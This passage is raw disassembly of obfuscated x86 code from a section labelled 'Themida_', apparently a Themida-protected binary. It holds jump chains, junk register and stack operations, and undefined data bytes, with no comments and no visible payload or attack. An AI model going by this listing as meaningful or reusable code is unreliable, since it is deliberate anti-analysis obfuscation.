		push	30694441h
		jmp	loc_55340F
; ---------------------------------------------------------------------------


loc_552425:				; CODE XREF: Themida_:00560C14j
		mov	edx, 4
		sub	edi, edx
		jmp	loc_5533B3
; ---------------------------------------------------------------------------
byte_552431	db 0ADh, 56h, 53h	; DATA XREF: Themida_:00550EC0o
		dd 867A64BBh, 51F3813Ch, 0E9289677h, 0FFFFF6D9h
; ---------------------------------------------------------------------------


loc_552444:				; CODE XREF: Themida_:0055DFB0j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_551D00
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 8904EC83h, 0EC83243Ch, 241C8904h, 9288E9h, 80E95B00h
		dd 29000100h, 0EBEA81CAh, 0E9229134h, 9BC1h, 621B5E25h
		dd 738AE919h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552482:				; CODE XREF: Themida_:00554A9Dj
		mov	[esp], eax
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_551754
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 55000000h, 0ED7BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5524A1:				; CODE XREF: Themida_:00560798j
		mov	edx, 1CF253EEh
		shr	edx, 6
		sub	edx, 54F84363h
		jmp	loc_559F17
; ---------------------------------------------------------------------------


loc_5524B4:				; CODE XREF: Themida_:00557D0Aj
		push	4E5h
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		push	esi
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5591A4
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 0F1h
		dd 51404C41h, 59240CFFh, 13E4BF57h, 0F9314D7Eh,	0B778E9h
		dd 0E9CE0100h, 1046Ch, 56FBB53h, 0C1435DFBh, 0E38102E3h
		dd 711F54B6h, 536BE9h
		db 0
; ---------------------------------------------------------------------------


loc_552511:				; CODE XREF: Themida_:00552384j
		mov	edi, 0E375925h
		add	esi, 61CF3691h
		sub	esi, edi
		sub	esi, 61CF3691h
		jmp	loc_563EC1
; ---------------------------------------------------------------------------


loc_552529:				; CODE XREF: Themida_:00555C62j
		xor	edx, [esp]
		mov	esp, [esp]
		xor	eax, 240B4506h
		jmp	loc_55B2EB
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 72h
		dd 813FE768h, 0E76876F7h, 5FFE013Fh, 370E9h
		db 0
; ---------------------------------------------------------------------------


loc_55254D:				; CODE XREF: Themida_:00562051j
		or	edx, eax
		shl	edx, 1
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_565815
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFFEEAh, 0BF3946B8h, 0F3D6E93Ah, 0CDBD0000h
		dd 573D8414h, 9B59D3BFh, 0FFFD0928h, 815F2434h,	4C4h, 0C58100h
		dd 0E91DAAC7h, 97A8h
; ---------------------------------------------------------------------------


loc_552594:				; CODE XREF: Themida_:0055EEDBj
		push	7290h
		mov	[esp], esi
		push	ebp
		mov	ebp, ebx
		push	1161h
		mov	[esp], edx
		mov	edx, ebp
		push	ebx
		mov	ebx, edx
		mov	esi, ebx
		pop	ebx
		pop	edx
		pop	ebp
		mov	edi, esi
		jmp	loc_55567B
; ---------------------------------------------------------------------------
aSWqTSn		db 'S╩Wq╤t)з[ИN:',0
		align 2


loc_5525C6:				; CODE XREF: Themida_:0056467Dj
		push	esi
		mov	esi, 0C001B4Fh
		jmp	loc_561DC0
; ---------------------------------------------------------------------------


loc_5525D1:				; CODE XREF: Themida_:00557196j
		mov	[esp], ebx
		mov	ebx, 3BFD1BFBh
		or	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5626EA
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 241C335Ah, 33241C31h, 835C241Ch, 0C8904ECh, 0E99CB524h
		dd 1392h
; ---------------------------------------------------------------------------


loc_552604:				; CODE XREF: Themida_:0055DD44j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_556D93
; ---------------------------------------------------------------------------
		dd 8104C483h, 0A7028BEBh, 0A819E94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55261E:				; CODE XREF: Themida_:00551629j
		pop	ebp
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		push	ebp
		mov	ebp, 70087ABCh
		jmp	loc_554E68
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 55000000h,	468h, 38FBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55264E:				; CODE XREF: Themida_:00557A91j
		pop	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_5629BB
; ---------------------------------------------------------------------------


loc_55265A:				; CODE XREF: Themida_:0055A337j
		push	ebp
		mov	ebp, eax
		push	ebp
		pop	ebx
		pop	ebp
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55CDDB
; ---------------------------------------------------------------------------


loc_552671:				; CODE XREF: Themida_:00564D73j
		push	3CF5h
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_564CCF
; ---------------------------------------------------------------------------
aFp?Fxfrs	db 'fP╟?',8,'еfXfRИ,ъ',0
		align 10h
		dd 4BFh, 14BF5700h, 8176794Eh, 916881E7h, 96EF816Ah, 29ECFEDBh
		dd 3AB0E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5526AE:				; CODE XREF: Themida_:00551EABj
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 44BF3945h
		add	[esp+8], ecx
		mov	ecx, [esp]
		jmp	loc_557C1E
; ---------------------------------------------------------------------------


loc_5526C4:				; CODE XREF: Themida_:00564C85j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	358Ah
		mov	[esp], eax
		mov	eax, 6BF27F90h
		and	eax, 667A1C7Dh
		jmp	loc_56350E
; ---------------------------------------------------------------------------
		dw 0E991h
		dd 1A9Bh, 89FD8955h, 815F5DE9h,	1140AFC9h, 5E1C11Dh, 0FBF18149h
		dd 0E9CB2A87h, 10DC5h, 0E7C0EFD0h, 79C78007h, 1C8BF988h
		dd 306DE924h, 835D0000h, 53E904C4h, 8100010Dh, 590BC2C7h
		dd 60EF816Bh, 899EC97Ah, 0D6015FFAh, 114B9E9h, 24048700h
		dd 241C895Ch, 228E954h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55274E:				; CODE XREF: Themida_:00555691j
		mov	ebp, [esp]
		jmp	loc_55A8AA
; ---------------------------------------------------------------------------
		dw 3433h
		dd 24248B24h, 9C2424D2h, 0FFE7FAE9h, 4C481FFh, 51000000h
		dd 0B122FCB9h, 81D9F734h, 0D7575E9h, 59C82991h,	8F05F001h
		dd 573A4167h, 2A2AF1BFh, 0E0E9473Dh, 5B000003h,	1453BE56h
		dd 0E94E4BCBh, 94DCh, 2D404048h, 78244A11h, 3A23E9h, 6649BD00h
		dd 0F58170C5h, 265E4EF1h, 3121C581h, 38E9F242h
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------


loc_5527BF:				; CODE XREF: Themida_:005632F8j
		push	edx
		jmp	loc_5593B8
; ---------------------------------------------------------------------------
		db 58h,	0F7h, 0DDh
		dd 4CF5814Dh, 89BCBD82h, 0BD555DEAh, 266771A7h,	0E5C1D5F7h
		dd 4E5C103h, 5605EDC1h,	876EE8BEh, 5EF53172h, 555DEA21h
		dd 0CF09E9h, 51DEF700h,	0FFEF8BE9h, 42DFFh, 9FE90000h
		dd 890000BDh, 0AFBF243Ch, 1CB6B1Bh, 0D7895FFAh,	8324148Bh
		dd 0FE3104C4h, 0FFF0315Fh, 93E92434h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552827:				; CODE XREF: Themida_:005565DDj
		mov	ebp, ebx
		mov	edx, ebp
		jmp	loc_5643E2
; ---------------------------------------------------------------------------
		dd 2BCA68h, 24048900h, 1E73E9h,	3E3C100h, 4C3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_552845:				; CODE XREF: Themida_:0055C266j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		jmp	loc_55F224
; ---------------------------------------------------------------------------
		db 53h
		dd 58046DBBh, 97C3813Bh, 1C4A7FBh, 0A006E9DEh, 0EC810000h
		dd 4, 0BE243489h, 4, 4247401h, 535BE9h,	4ABD5500h, 5154B87Bh
		dd 9575EDB9h, 0E9CD2937h, 0E5C7h
; ---------------------------------------------------------------------------


loc_5528A8:				; CODE XREF: Themida_:0055BF9Fj
		add	ebp, esi
		add	ebp, 46EB7AD7h
		jmp	loc_5560D8
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0A4DCE9h, 4EE8300h, 4EC81h, 57E90000h, 81FFFFECh, 0F23271EBh
		dd 81C3014Dh, 0F23271C3h, 24048B4Dh, 4122E9h, 5DE90100h
		dd 1137FE9h, 34FF5C00h,	24048B24h, 4C481h, 5E680000h, 8900001Dh
		dd 0E789243Ch, 86E6E952h, 0F660000h, 5166C8B6h,	0E64DE99Ch
		db 2 dup(0FFh)
word_552912	dw 8B66h		; DATA XREF: Themida_:00550CE8o
		dd 0E951240Ch, 367Bh, 3F01E581h, 0EDC14A09h, 6EDC103h
		dd 0E904E5C1h, 9CCBh
; ---------------------------------------------------------------------------


loc_552930:				; CODE XREF: Themida_:0055D4D0j
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_55E502
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 97h
		dd 8113BD32h, 6F1D81EBh, 3E3C175h, 83DBC381h, 2405DD0Dh
		dd 166D571h, 71242DD8h,	555B66D5h, 0D67950BDh, 0F7D5873Eh
		dd 57D587D2h, 198C9BBFh, 5FFD0181h, 0CFAE9h, 24148900h
		dd 0C531F068h, 0EB815A45h, 25667F5Fh, 425DE9h, 0E5C9E900h
		dd 0F588FFFFh, 5378E9h
		db 0
; ---------------------------------------------------------------------------


loc_55299D:				; CODE XREF: Themida_:00556628j
		pop	edi
		add	eax, 4
		jmp	loc_55D87B
; ---------------------------------------------------------------------------
		dd 0E9243487h, 13023h, 63B8BB53h, 0EB817BF9h, 7BF963B4h
		dd 0F8E9DA89h, 87000050h, 20E9243Ch, 81000019h,	4C4h, 5EF08900h
		dd 62ABC181h, 0D8E91DBCh
		db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5529DF:				; CODE XREF: Themida_:00555D91j
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xor	eax, 5E2052E7h
		jmp	loc_556C13
; ---------------------------------------------------------------------------
aLSmi		db '▀<$Иm╘',0
		dd 5CE95000h
		db 18h,	1, 0
aN1Suf		db '╜1ьИЦF',0           ; DATA XREF: Themida_:00550EC8o
		dw 5300h
		dd 520AFABBh, 33EB816Ah, 136B2CEh, 348B5BDFh, 4C48324h
		dd 31243C33h, 3C33243Ch, 24248B24h, 0F8A4E953h,	0E0C10000h
		dd 2D680507h, 0D8F716A4h, 300E510Dh, 0DF552D7Bh, 0C7017FB9h
		dd 0F949E9h
		db 0
; ---------------------------------------------------------------------------


loc_552A49:				; CODE XREF: Themida_:0056360Bj
		inc	ebp
		xor	ebp, 0FFFB73F1h
		jmp	loc_55B61C
; ---------------------------------------------------------------------------
byte_552A55	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550CB8o
aS_6		db '$И╧:',0
		align 2


loc_552A5E:				; CODE XREF: Themida_:00564127j
		jz	loc_554F96
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 159C5C03h
		push	0E92h
		mov	[esp], ebx
		push	4E65626h
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55163C
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 11CECh
; ---------------------------------------------------------------------------


loc_552AA8:				; CODE XREF: Themida_:005642D3j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55866A
; ---------------------------------------------------------------------------
		db 86h,	0F9h, 0E9h
		dd 0FFFFF3FFh, 4C3835Dh, 2474FF53h, 48F5B04h, 0E3C15C24h
		dd 81C38107h, 89AECD40h, 0B2E9205Fh
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552AE3:				; CODE XREF: Themida_:0055D76Cj
		mov	edi, esp
		add	edi, 4
		jmp	loc_55E169
; ---------------------------------------------------------------------------


loc_552AF0:				; CODE XREF: Themida_:00559889j
		xor	edx, ebx
		pop	ebx
		jmp	loc_562174
; ---------------------------------------------------------------------------
		dd 0E0C0BD04h, 4C0FE05h, 0E9352C63h, 0DEB8h
; ---------------------------------------------------------------------------


loc_552B08:				; CODE XREF: Themida_:00552D0Dj
		add	eax, ecx
		xor	[eax], esi
		mov	eax, [esp]
		add	esp, 4
		pop	ecx


loc_552B13:				; CODE XREF: Themida_:005544DDj
		push	1974h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_554EB3
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 0FFE42EE9h, 8BEF89FFh, 3AE9242Ch, 9000100h, 0E9935AD3h
		dd 0FFFFFBAAh, 0C5FED5F6h, 0D6F6F586h, 0E5C0F586h, 4B74E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552B56:				; CODE XREF: Themida_:00558E3Dj
		sub	ebp, 4
		jmp	loc_555192
; ---------------------------------------------------------------------------
		dw 158h
		dd 243C8BFAh, 4C481h, 4AE90000h, 0F7FFFFF2h, 0EAC781DFh
		dd 554D9FA4h, 2755AABDh, 5DEF0942h, 0C6AC781h, 534F112Dh
		dd 1BBh, 0DEF8100h, 128196Fh, 0DC781DFh, 5B28196Fh, 801FF781h
		dd 0F8295F38h, 83243C8Bh, 55E04C4h, 3EB328EBh, 46E9D829h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552BB7:				; CODE XREF: Themida_:00560EE2j
		add	ebx, edi
		xor	ecx, [ebx]
		pop	ebx
		jmp	loc_55CE7A
; ---------------------------------------------------------------------------
		db 4Fh,	51h, 0B9h
		dd 373EA006h, 8D96E9h, 4C28100h, 81000000h, 4ECh, 242C8900h
		dd 9F1AE9h, 4C18300h, 31240C33h, 0C33240Ch, 24248B24h
		dd 2BB53h, 0DD010000h, 14B1685Bh, 2C890000h, 2474FF24h
		dd 6947E904h, 0F8280000h, 6659665Bh, 66569368h,	53241489h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h,	83B1B724h
		dd 48904ECh, 53F88824h,	0DA88C388h, 81241C8Bh, 4C4h, 32E95800h
		dd 81000066h, 4F720BEAh, 57505F23h, 0F1457A68h,	0EF815F3Fh
		dd 0E4300BBh, 22EC781h,	814F5A01h, 0CF2307C7h, 0E9F889D6h
		dd 7E2Bh
; ---------------------------------------------------------------------------


loc_552C74:				; CODE XREF: Themida_:00553081j
		sub	edi, edx
		pop	edx
		add	edi, ecx
		add	edi, 772B1901h
		jmp	loc_55DDC3
; ---------------------------------------------------------------------------


loc_552C84:				; CODE XREF: Themida_:00558FA6j
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		add	edx, 58221B59h
		add	eax, edx
		pop	edx
		pop	edx
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 5D53416Bh
		add	edi, ebx
		add	edi, 5D53416Bh
		pop	ebx
		push	ebp
		mov	ebp, 0D806923h
		sub	[esp+8], ebp
		pop	ebp
		add	[esp+4], edi
		add	dword ptr [esp+4], 0D806923h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 0BFh
		dd 1A6E0DC7h, 57B9514Fh, 0E97A457Bh, 0FFFFEFC8h, 51D8005Ah
		dd 0D96823B5h, 89000059h, 0D7B3241Ch, 31E268h, 24148900h
		dd 0F6802EB6h, 0FFC6805Ah, 0E9FDC680h, 54D1h
; ---------------------------------------------------------------------------


loc_552D08:				; CODE XREF: Themida_:00563509j
		xor	eax, 2FF96F86h
		jmp	loc_552B08
; ---------------------------------------------------------------------------
		dw 59BAh
		dd 0E9540C22h, 0D437h, 69E9DDF7h, 0E900010Ch, 0FFFFE237h
; ---------------------------------------------------------------------------


loc_552D28:				; CODE XREF: Themida_:00556555j
		jz	loc_55CE7D
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_563BE1
; ---------------------------------------------------------------------------
		dd 0AAC18141h, 0C1433D1Dh, 61E908E1h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_552D4F:				; CODE XREF: Themida_:00556666j
		add	esp, 4
		sub	edx, 54F47D93h
		push	dword ptr [esp]
		jmp	loc_5530F4
; ---------------------------------------------------------------------------
		db 81h
		dd 0AA9513F5h, 3F66E988h, 0C4810000h, 2, 7437E951h, 0C6810000h
		dd 23153DC5h, 0EE81C601h, 23153DC5h, 8124048Bh,	4C4h, 8949E900h
		dd 76BE0000h, 0F7415F04h, 91E681DEh, 0F70B7844h, 9716E9DEh
		dd 59540000h, 4C181h, 0C1810000h, 4, 5C240C87h,	2C581h
		dd 2C330000h, 242C3124h, 8B242C33h, 0F662424h, 9C2404B3h
		dd 0FFE186E9h, 5F0CBDFFh, 0EF2943D3h, 3BED815Dh, 11A1116h
		dd 3BC581FDh, 0E91A1116h, 10D50h, 4C481h, 7DE90000h, 890000C5h
		dd 2168243Ch, 89000007h, 18BA2414h, 8160B200h, 1C6C38C2h
		dd 9EF28146h, 0E994F15Ch, 0A4B7h
; ---------------------------------------------------------------------------


loc_552E20:				; CODE XREF: Themida_:0055D8E6j
		xor	ebx, [esp]
		pop	esp
		jmp	loc_557392
; ---------------------------------------------------------------------------


loc_552E29:				; CODE XREF: Themida_:005598E9j
		xor	edx, 14547A06h
		jmp	loc_55D301
; ---------------------------------------------------------------------------
		dd 0F1DE7BDh, 4EC837Fh,	0B9240C89h, 255115DDh, 0C8BCD31h
		dd 4C48324h, 11E39E9h
		db 0
byte_552E51	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550E88o
		dd 0E6895624h, 4C681h, 13E90000h, 66000043h, 2404AB0Fh
		dd 0E0F1E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552E6E:				; CODE XREF: Themida_:005564C1j
		push	edi
		mov	edi, eax
		push	edi
		xor	dword ptr [esp], 411A4246h
		pop	ecx
		xor	ecx, 411A4246h
		pop	edi
		pop	eax
		add	ecx, 7A861EB0h
		dec	ecx
		shr	ecx, 2
		and	ecx, 2B830CF3h
		add	ecx, 2C090060h
		add	eax, 21C11A9Fh
		sub	eax, ecx
		sub	eax, 21C11A9Fh
		pop	ecx
		jmp	loc_561C45
; ---------------------------------------------------------------------------
aS_7		db '\И"]',0
		align 10h
		dd 79CE95Bh, 0F7660001h, 0C8766D1h, 665B6624h, 0BF66574Bh
		dd 81661E68h, 667310C7h, 260EC781h, 4E7EE9h, 4BD5500h
		dd 0E9000000h, 56E1h
; ---------------------------------------------------------------------------


loc_552EE0:				; CODE XREF: Themida_:00554B5Cj
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_557071
; ---------------------------------------------------------------------------


loc_552EF5:				; CODE XREF: Themida_:0055F297j
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55D794
; ---------------------------------------------------------------------------
		dd 39E95B5Dh, 59000015h, 121D5E9h, 4C28300h, 0CFF4E9h
		dd 0E7BA5200h, 81030707h, 0EF07A1EAh, 5CBB5341h, 0E902475Eh
		dd 0FFFFE7ECh
; ---------------------------------------------------------------------------


loc_552F34:				; CODE XREF: Themida_:00565231j
		sub	eax, 6BC703E1h
		add	eax, edx
		jmp	loc_550F8A
; ---------------------------------------------------------------------------
		dd 93E9F201h, 89000084h, 8AE92414h
		db 28h,	1, 0
; ---------------------------------------------------------------------------


loc_552F4F:				; CODE XREF: Themida_:0055CD50j
		push	184h
		mov	[esp], edi
		push	40000h
		mov	edi, [esp]
		jmp	loc_55220A
; ---------------------------------------------------------------------------
		dd offset dword_457444+1A324h
		dd 24148900h, 0FE6BB450h, 0FECCFEC4h, 98B353CCh, 8070B652h
		dd 0DEF6DACEh, 80E4CE80h, 0F68001C6h, 0E9F330C3h, 0F414h
		dd 9C508005h, 7982D2Eh,	0D8293642h, 42079805h, 50802D36h
		dd 1C8B2E9Ch, 4C48324h,	0D51BE9h
		db 0
; ---------------------------------------------------------------------------


loc_552FB1:				; CODE XREF: Themida_:00551926j
		add	edi, 3E4E61E5h
		mov	eax, [esp]
		jmp	loc_56112A
; ---------------------------------------------------------------------------
		db 81h
		dd 0F638DAEBh, 0C6EB8117h, 811A5C0Ch, 0AC78FFEBh, 0B420E929h
		dd 89500000h, 405E0h, 22D0000h,	87000000h, 248B2404h, 14896624h
		dd 5335B224h, 0FFF377E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552FF5:				; CODE XREF: Themida_:005563D9j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5651C0
; ---------------------------------------------------------------------------
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55DEED
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0CCh
		dd 0FF031E33h, 685E2434h, 0D19h, 89243489h, 4C681E6h, 0E9000000h
		dd 0A03Fh, 0E372E957h, 0C5810000h, 6A510950h, 7FE6E9h
		dd 53C8FE00h, 0E5E9ADB7h
		db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55304B:				; CODE XREF: Themida_:0055F82Bj
		and	ebx, 0A723DCh
		shl	ebx, 2
		and	ebx, 538F46B2h
		add	ebx, 6B086331h
		sub	edi, 51BF0779h
		sub	edi, ebx
		add	edi, 51BF0779h
		pop	ebx
		add	edi, 395F23F7h
		add	edi, 321F295Bh
		push	edx
		mov	edx, 772B1901h
		jmp	loc_552C74
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 83000000h,	91E904E9h, 0D1000040h, 2FE981E1h
		dd 31D6132Ch, 0B95159CDh, 25EA4476h, 56E9CF01h,	68000050h
		dd 1CB1h, 89240489h, 405E0h, 0A8E90000h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5530C3:				; CODE XREF: Themida_:005613F5j
		push	esi
		mov	esi, 68D15990h
		or	ecx, esi
		pop	esi
		jmp	loc_563610
; ---------------------------------------------------------------------------


loc_5530D1:				; CODE XREF: Themida_:00564960j
		sub	ebp, 0FDACBB9h
		and	ecx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 2B0F0F76h
		shl	eax, 8
		jmp	loc_562E05
; ---------------------------------------------------------------------------


loc_5530ED:				; CODE XREF: Themida_:0055CD94j
		not	ebp
		jmp	loc_561A96
; ---------------------------------------------------------------------------


loc_5530F4:				; CODE XREF: Themida_:00552D5Ej
		pop	esi
		jmp	loc_55E19C
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 0A20FE9h, 72C2B800h,	0F829644Dh, 0FAE9815Fh,	8166E52Dh
		dd 0A6390DC1h, 81C12975h, 0A6390DE9h, 0FAC18175h, 0E966E52Dh
		dd 0C1C7h, 4507C381h, 0DE29B5C6h, 2764E95Bh, 0C4810001h
		dd 4, 8704E983h, 71E9240Ch, 0D1000027h,	1DEA81EAh, 293E0227h
		dd 0C335AD1h, 4606E924h, 148B0000h, 4EC8124h, 89000000h
		dd 0E389241Ch, 4C381h, 57500000h, 0E8E0E9h, 242C3200h
		dd 0F6242C30h, 242C30D5h, 30242C32h, 48B242Ch, 4C48124h
		dd 53000000h, 0EB8033B3h, 80CBFEE1h, 0D82869C3h, 0FFC2885Bh
		dd 0E9582434h, 0B938h, 5ABF5756h, 0E97B994Eh, 417Ah, 0BD55D0F7h
		dd 4E624B27h, 0FFE406E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5531C1:				; CODE XREF: Themida_:00564B09j
		push	49DC6618h
		pop	edx
		not	edx
		sub	edx, 2FAD0534h
		push	edi
		jmp	loc_551266
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 1000000h, 0E9555BD8h, 3B56h,	24148B5Ah, 4C481h, 6CE90000h
		dd 29FFFFDDh, 835B5DE8h, 1C8904ECh, 2BB24h, 0D8010000h
		dd 72D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_553209:				; CODE XREF: Themida_:00562790j
		push	0D97h
		mov	[esp], eax
		jmp	loc_559819
; ---------------------------------------------------------------------------
word_553216	dw 8B66h		; DATA XREF: Themida_:00550C98o
		dd 8952240Ch, 4C281E2h,	83000000h, 148704EAh, 24248B24h
		dd 0E9240489h, 0C13Ah, 89243489h, 0E9F089DEh, 1213h, 0BFE9CD29h
		dd 68000010h, 656Dh, 0B8240489h, 2, 0EFE9C701h,	5B000120h
		dd 0B551872Ch, 9EE5806Ch, 5ADE9h, 5DEE0100h, 0FFE246E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553271:				; CODE XREF: Themida_:0055DE67j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55BF7B
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF70100h, 73F3E9h, 81FA0100h,	0F121C0C2h, 0E50CE962h
		dd 81520000h, 4ECh, 241C8900h, 62E9C3B3h, 80FFFFEDh, 0E959C3EEh
		dd 0C3CAh, 84F9F181h, 0FB0552E9h, 29234642h, 9DD9E9C8h
		dd 0F6810000h, 2C0F3A77h, 6BE9DEF7h, 87000057h,	0E95C243Ch
		dd 0FFFFDFE1h, 0DE8DEA81h, 0BAE9A103h, 59000075h, 148BD589h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 0EDC3815Ch
		dd 294CDF58h, 0EDEB81EBh, 8B4CDF58h, 0C481242Ch, 4, 268DBA52h
		dd 0EA813A4Eh, 1, 0F3FDE9h, 4CF28100h, 31701313h, 0C3815AD3h
		dd 2C2B11A5h, 0E957DBF7h, 89B2h
; ---------------------------------------------------------------------------


loc_553338:				; CODE XREF: Themida_:0055B3D5j
		add	ebx, esi
		pop	esi
		dec	ebx
		jmp	loc_553DFC
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 8418C6B8h, 2DD8F739h, 1, 23C77A2Dh, 55E952A6h, 35000119h
		dd 13563C00h, 4551E981h, 0C1011E09h, 9744E9h, 0E9535700h
		dd 2B13h, 3E0C158h, 2414F750h, 0E924048Bh, 127CFh, 24148966h
		dd 121CFE9h, 426B6800h,	14890000h, 0E9BCB224h, 1075Ah
; ---------------------------------------------------------------------------


loc_55339C:				; CODE XREF: Themida_:00553565j
		add	ebp, 7E932880h
		sub	ebp, 630A0841h
		push	eax
		jmp	loc_563C28
; ---------------------------------------------------------------------------
		dw 0ACE9h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5533B3:				; CODE XREF: Themida_:0055242Cj
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_555C05
; ---------------------------------------------------------------------------
		db 5Bh,	0C1h, 0E9h
		dd 21CE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5533CE:				; CODE XREF: Themida_:0055522Aj
		add	edi, ebx
		pop	ebx
		sub	ebp, edi
		jmp	loc_55BD1A
; ---------------------------------------------------------------------------
		dd 0FCE9575Dh, 8100005Dh, 5222D5C3h, 0DCC38131h, 5E5BD916h
		dd 7B0ADC05h, 68D80136h, 739Fh,	2C77E9h, 310B6800h, 2C890000h
		dd 4BD24h, 6FE90000h
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55340F:				; CODE XREF: Themida_:00552420j
		pop	eax
		or	eax, 50074A06h
		sub	eax, 13A06D17h
		sub	eax, 1DD693E8h
		push	eax
		pop	ebp
		mov	eax, [esp]
		jmp	loc_55CB0C
; ---------------------------------------------------------------------------
aL4S		db '▀4$И:>',0
		dd 2434FF00h, 5E545658h, 4C681h, 0C6810000h, 4,	8CD1E9h
		db 0
; ---------------------------------------------------------------------------


loc_553449:				; CODE XREF: Themida_:0055A6EBj
		mov	[esp], esi
		push	ebx
		push	edi
		push	ecx
		push	5CC1210Ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5594EB
; ---------------------------------------------------------------------------
		db 55h
		dd 8211E9h, 0E9E78900h,	7EAh
; ---------------------------------------------------------------------------


loc_55346C:				; CODE XREF: Themida_:00562B63j
		xor	esi, 44EB7669h
		sub	esi, 4DA110B4h
		push	esi
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 5F7375A8h
		jmp	loc_55F3D7
; ---------------------------------------------------------------------------
		db 52h
		dd 0B3E95759h, 8300000Eh, 348704C6h, 55515C24h,	6457E9h
		dd 0B1ECB700h, 0BEC18035h, 0E980F928h, 0CB005BBEh, 0EB005966h
